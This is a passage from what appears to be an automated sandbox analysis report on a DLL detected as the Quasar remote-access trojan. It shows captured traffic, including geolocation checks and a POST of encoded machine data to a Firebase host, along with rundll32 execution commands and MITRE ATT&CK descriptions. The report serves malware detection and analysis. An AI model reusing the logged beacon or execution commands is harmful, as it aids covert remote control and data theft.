Jul 15, 2024 21:09:01.285069942 CEST	49740	80	192.168.2.4	104.26.13.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 15, 2024 21:07:19.098495007 CEST	55337	53	192.168.2.4	1.1.1.1
Jul 15, 2024 21:07:19.186568022 CEST	53	55337	1.1.1.1	192.168.2.4
Jul 15, 2024 21:07:19.494256020 CEST	53139	53	192.168.2.4	1.1.1.1
Jul 15, 2024 21:07:19.507066011 CEST	53	53139	1.1.1.1	192.168.2.4
Jul 15, 2024 21:07:19.923499107 CEST	51014	53	192.168.2.4	1.1.1.1
Jul 15, 2024 21:07:19.940026045 CEST	53	51014	1.1.1.1	192.168.2.4
Jul 15, 2024 21:07:20.218703985 CEST	49717	53	192.168.2.4	1.1.1.1
Jul 15, 2024 21:07:20.225878954 CEST	53	49717	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jul 15, 2024 21:07:19.098495007 CEST	192.168.2.4	1.1.1.1	0x7911	Standard query (0)	argentina-e4162-default-rtdb.firebaseio.com	A (IP address)	IN (0x0001)	false
Jul 15, 2024 21:07:19.494256020 CEST	192.168.2.4	1.1.1.1	0xfff6	Standard query (0)	telize.com	A (IP address)	IN (0x0001)	false
Jul 15, 2024 21:07:19.923499107 CEST	192.168.2.4	1.1.1.1	0xd83f	Standard query (0)	freegeoip.net	A (IP address)	IN (0x0001)	false
Jul 15, 2024 21:07:20.218703985 CEST	192.168.2.4	1.1.1.1	0x1adc	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Jul 15, 2024 21:07:19.186568022 CEST	1.1.1.1	192.168.2.4	0x7911	No error (0)	argentina-e4162-default-rtdb.firebaseio.com	35.201.97.85	A (IP address)	IN (0x0001)	false
Jul 15, 2024 21:07:19.186568022 CEST	1.1.1.1	192.168.2.4	0x7911	No error (0)	argentina-e4162-default-rtdb.firebaseio.com	35.190.39.113	A (IP address)	IN (0x0001)	false
Jul 15, 2024 21:07:19.186568022 CEST	1.1.1.1	192.168.2.4	0x7911	No error (0)	argentina-e4162-default-rtdb.firebaseio.com	34.120.206.254	A (IP address)	IN (0x0001)	false
Jul 15, 2024 21:07:19.186568022 CEST	1.1.1.1	192.168.2.4	0x7911	No error (0)	argentina-e4162-default-rtdb.firebaseio.com	34.120.160.131	A (IP address)	IN (0x0001)	false
Jul 15, 2024 21:07:19.507066011 CEST	1.1.1.1	192.168.2.4	0xfff6	No error (0)	telize.com	88.198.193.213	A (IP address)	IN (0x0001)	false
Jul 15, 2024 21:07:19.940026045 CEST	1.1.1.1	192.168.2.4	0xd83f	No error (0)	freegeoip.net	3.33.130.190	A (IP address)	IN (0x0001)	false
Jul 15, 2024 21:07:19.940026045 CEST	1.1.1.1	192.168.2.4	0xd83f	No error (0)	freegeoip.net	15.197.148.33	A (IP address)	IN (0x0001)	false
Jul 15, 2024 21:07:20.225878954 CEST	1.1.1.1	192.168.2.4	0x1adc	No error (0)	api.ipify.org	104.26.13.205	A (IP address)	IN (0x0001)	false
Jul 15, 2024 21:07:20.225878954 CEST	1.1.1.1	192.168.2.4	0x1adc	No error (0)	api.ipify.org	172.67.74.152	A (IP address)	IN (0x0001)	false
Jul 15, 2024 21:07:20.225878954 CEST	1.1.1.1	192.168.2.4	0x1adc	No error (0)	api.ipify.org	104.26.12.205	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

argentina-e4162-default-rtdb.firebaseio.com

telize.com

freegeoip.net

api.ipify.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49738	88.198.193.213	80	7100	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 15, 2024 21:07:19.513417959 CEST	144	OUT	GET /geoip HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0 Host: telize.com Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49739	3.33.130.190	80	7100	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 15, 2024 21:07:19.945863962 CEST	146	OUT	GET /xml/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0 Host: freegeoip.net Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49740	104.26.13.205	80	7100	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 15, 2024 21:07:20.238285065 CEST	142	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0 Host: api.ipify.org Connection: Keep-Alive
Jul 15, 2024 21:07:20.737621069 CEST	227	IN	HTTP/1.1 200 OK Date: Mon, 15 Jul 2024 19:07:20 GMT Content-Type: text/plain Content-Length: 11 Connection: keep-alive Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8a3c08ee29850f53-EWR Data Raw: 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: 8.46.123.33

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49735	35.201.97.85	443	7100	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-15 19:07:19 UTC	192	OUT	POST /user.json HTTP/1.1 Content-Type: application/json; charset=utf-8 Host: argentina-e4162-default-rtdb.firebaseio.com Content-Length: 76 Expect: 100-continue Connection: Keep-Alive
2024-07-15 19:07:20 UTC	25	IN	HTTP/1.1 100 Continue
2024-07-15 19:07:20 UTC	1	OUT	Data Raw: 7b Data Ascii: {
2024-07-15 19:07:20 UTC	75	OUT	Data Raw: 22 4d 41 51 55 49 4e 41 22 3a 22 4e 7a 45 31 4e 54 63 31 22 2c 22 44 41 54 41 22 3a 22 4d 54 55 75 4d 44 63 75 4d 6a 41 79 4e 43 41 78 4e 54 6f 77 4e 7a 6f 78 4f 41 3d 3d 22 2c 22 50 4c 55 47 49 4e 22 3a 22 4d 41 3d 3d 22 7d Data Ascii: "MAQUINA":"NzE1NTc1","DATA":"MTUuMDcuMjAyNCAxNTowNzoxOA==","PLUGIN":"MA=="}
2024-07-15 19:07:20 UTC	318	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 15 Jul 2024 19:07:20 GMT Content-Type: application/json; charset=utf-8 Content-Length: 31 Connection: close Access-Control-Allow-Origin: * Cache-Control: no-cache Strict-Transport-Security: max-age=31556926; includeSubDomains; preload {"name":"-O1rmguwaszAMl0bAl2T"}

Target ID:	0
Start time:	15:07:00
Start date:	15/07/2024
Path:	C:\Windows\System32\loaddll64.exe
Wow64 process (32bit):	false
Commandline:	loaddll64.exe "C:\Users\user\Desktop\vstdlib_s64.dll.dll"
Imagebase:	0x7ff6182e0000
File size:	165'888 bytes
MD5 hash:	763455F9DCB24DFEECC2B9D9F8D46D52
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	15:07:00
Start date:	15/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	15:07:00
Start date:	15/07/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /C rundll32.exe "C:\Users\user\Desktop\vstdlib_s64.dll.dll",#1
Imagebase:	0x7ff680840000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	15:07:00
Start date:	15/07/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32.exe C:\Users\user\Desktop\vstdlib_s64.dll.dll,V_FixDoubleSlashes
Imagebase:	0x7ff7ff470000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Quasar, Description: Yara detected Quasar RAT, Source: 00000003.00000002.1682910878.000002A89AAA2000.00000020.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Quasar, Description: Yara detected Quasar RAT, Source: 00000003.00000002.1684076753.00007FFDFB182000.00000020.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	15:07:00
Start date:	15/07/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32.exe "C:\Users\user\Desktop\vstdlib_s64.dll.dll",#1
Imagebase:	0x7ff7ff470000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Quasar, Description: Yara detected Quasar RAT, Source: 00000004.00000002.1684166716.00007FFDFB182000.00000020.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Quasar, Description: Yara detected Quasar RAT, Source: 00000004.00000002.1683326542.000002596EF32000.00000020.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	15:07:03
Start date:	15/07/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32.exe C:\Users\user\Desktop\vstdlib_s64.dll.dll,V_FixSlashes
Imagebase:	0x7ff7ff470000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Quasar, Description: Yara detected Quasar RAT, Source: 00000005.00000002.1711858916.00007FFDFB182000.00000020.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Quasar, Description: Yara detected Quasar RAT, Source: 00000005.00000002.1711125446.0000024C76552000.00000020.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	15:07:06
Start date:	15/07/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32.exe C:\Users\user\Desktop\vstdlib_s64.dll.dll,V_IsAbsolutePath
Imagebase:	0x7ff7ff470000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Quasar, Description: Yara detected Quasar RAT, Source: 00000006.00000002.1742655748.000001C4BEC02000.00000020.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Quasar, Description: Yara detected Quasar RAT, Source: 00000006.00000002.1743520661.00007FFDFB3A2000.00000020.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	15:07:09
Start date:	15/07/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32.exe "C:\Users\user\Desktop\vstdlib_s64.dll.dll",V_FixDoubleSlashes
Imagebase:	0x7ff7ff470000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Quasar, Description: Yara detected Quasar RAT, Source: 00000007.00000002.1800566707.00007FFDFB3A2000.00000020.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Quasar, Description: Yara detected Quasar RAT, Source: 00000007.00000002.1789628850.000002755E652000.00000020.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	15:07:10
Start date:	15/07/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32.exe "C:\Users\user\Desktop\vstdlib_s64.dll.dll",V_FixSlashes
Imagebase:	0x7ff7ff470000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Quasar, Description: Yara detected Quasar RAT, Source: 00000008.00000002.1798585277.00007FFDFB3A2000.00000020.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Quasar, Description: Yara detected Quasar RAT, Source: 00000008.00000002.1782774058.000001DD420A2000.00000020.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	15:07:10
Start date:	15/07/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32.exe "C:\Users\user\Desktop\vstdlib_s64.dll.dll",V_IsAbsolutePath
Imagebase:	0x7ff7ff470000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Quasar, Description: Yara detected Quasar RAT, Source: 00000009.00000002.1803017561.00007FFDFB3A2000.00000020.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Quasar, Description: Yara detected Quasar RAT, Source: 00000009.00000002.1795742842.0000013F23772000.00000020.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	15:07:10
Start date:	15/07/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32.exe "C:\Users\user\Desktop\vstdlib_s64.dll.dll",V_vsnwprintf
Imagebase:	0x7ff7ff470000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Quasar, Description: Yara detected Quasar RAT, Source: 0000000A.00000002.1806601416.00007FFDFB3A2000.00000020.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Quasar, Description: Yara detected Quasar RAT, Source: 0000000A.00000002.1799338023.000001EDF6DB2000.00000020.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	15:07:10
Start date:	15/07/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32.exe "C:\Users\user\Desktop\vstdlib_s64.dll.dll",V_strncpy
Imagebase:	0x7ff7ff470000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Quasar, Description: Yara detected Quasar RAT, Source: 0000000B.00000002.1803940812.00007FFDFB3A2000.00000020.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Quasar, Description: Yara detected Quasar RAT, Source: 0000000B.00000002.1796633648.000001D54AB72000.00000020.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	15:07:10
Start date:	15/07/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32.exe "C:\Users\user\Desktop\vstdlib_s64.dll.dll",V_strncat_length
Imagebase:	0x7ff7ff470000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Quasar, Description: Yara detected Quasar RAT, Source: 0000000C.00000002.1803576304.00007FFDFB3A2000.00000020.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Quasar, Description: Yara detected Quasar RAT, Source: 0000000C.00000002.1795862473.000002CAF50D2000.00000020.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	15:07:10
Start date:	15/07/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32.exe "C:\Users\user\Desktop\vstdlib_s64.dll.dll",V_strncat
Imagebase:	0x7ff7ff470000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Quasar, Description: Yara detected Quasar RAT, Source: 0000000D.00000002.1801854722.00007FFDFB3A2000.00000020.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Quasar, Description: Yara detected Quasar RAT, Source: 0000000D.00000002.1794101772.000001E0A1962000.00000020.00000001.01000000.00000003.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	15:07:10
Start date:	15/07/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32.exe "C:\Users\user\Desktop\vstdlib_s64.dll.dll",V_snprintf
Imagebase:	0x7ff7ff470000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Quasar, Description: Yara detected Quasar RAT, Source: 0000000E.00000002.1805439876.00007FFDFB3A2000.00000020.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Quasar, Description: Yara detected Quasar RAT, Source: 0000000E.00000002.1798302966.0000023D3F972000.00000020.00000001.01000000.00000003.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	15:07:10
Start date:	15/07/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32.exe "C:\Users\user\Desktop\vstdlib_s64.dll.dll",V_UTF8ToUTF16
Imagebase:	0x7ff7ff470000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Quasar, Description: Yara detected Quasar RAT, Source: 0000000F.00000002.1805465891.00007FFDFB3A2000.00000020.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Quasar, Description: Yara detected Quasar RAT, Source: 0000000F.00000002.1798309140.000002D2EC852000.00000020.00000001.01000000.00000003.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	15:07:10
Start date:	15/07/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32.exe "C:\Users\user\Desktop\vstdlib_s64.dll.dll",V_UTF16ToUTF8
Imagebase:	0x7ff7ff470000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Quasar, Description: Yara detected Quasar RAT, Source: 00000010.00000002.2929241294.00007FFDFB3A2000.00000020.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Quasar, Description: Yara detected Quasar RAT, Source: 00000010.00000002.2926634464.0000020471362000.00000020.00000001.01000000.00000003.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	17
Start time:	15:07:10
Start date:	15/07/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32.exe "C:\Users\user\Desktop\vstdlib_s64.dll.dll",V_StripTrailingSlash
Imagebase:	0x7ff7ff470000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Quasar, Description: Yara detected Quasar RAT, Source: 00000011.00000002.1803619460.00007FFDFB3A2000.00000020.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Quasar, Description: Yara detected Quasar RAT, Source: 00000011.00000002.1795873767.0000019D796C2000.00000020.00000001.01000000.00000003.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	15:07:10
Start date:	15/07/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32.exe "C:\Users\user\Desktop\vstdlib_s64.dll.dll",V_StripLastDir
Imagebase:	0x7ff7ff470000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Quasar, Description: Yara detected Quasar RAT, Source: 00000012.00000002.1800394851.00007FFDFB3A2000.00000020.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Quasar, Description: Yara detected Quasar RAT, Source: 00000012.00000002.1787872788.000001FBE5A92000.00000020.00000001.01000000.00000003.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	15:07:10
Start date:	15/07/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32.exe "C:\Users\user\Desktop\vstdlib_s64.dll.dll",V_RemoveDotSlashes
Imagebase:	0x7ff7ff470000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Quasar, Description: Yara detected Quasar RAT, Source: 00000013.00000002.1802596768.00007FFDFB3A2000.00000020.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Quasar, Description: Yara detected Quasar RAT, Source: 00000013.00000002.1794900321.0000024F7DFE2000.00000020.00000001.01000000.00000003.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Source: Traffic	Snort IDS: 2814031 ETPRO TROJAN W32/Quasar RAT Connectivity Check 192.168.2.4:49738 -> 88.198.193.213:80
Source: Traffic	Snort IDS: 2814030 ETPRO TROJAN W32/Quasar RAT Connectivity Check 2 192.168.2.4:49739 -> 3.33.130.190:80

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: `rundll32.exe {DLLname, DLLfunction}` ).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of open application windows. Window listings could convey information about how the system is used.For example, information about application windows could be used identify potential data to collect as well as identifying security tooling ( Security Software Discovery ) to evade.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

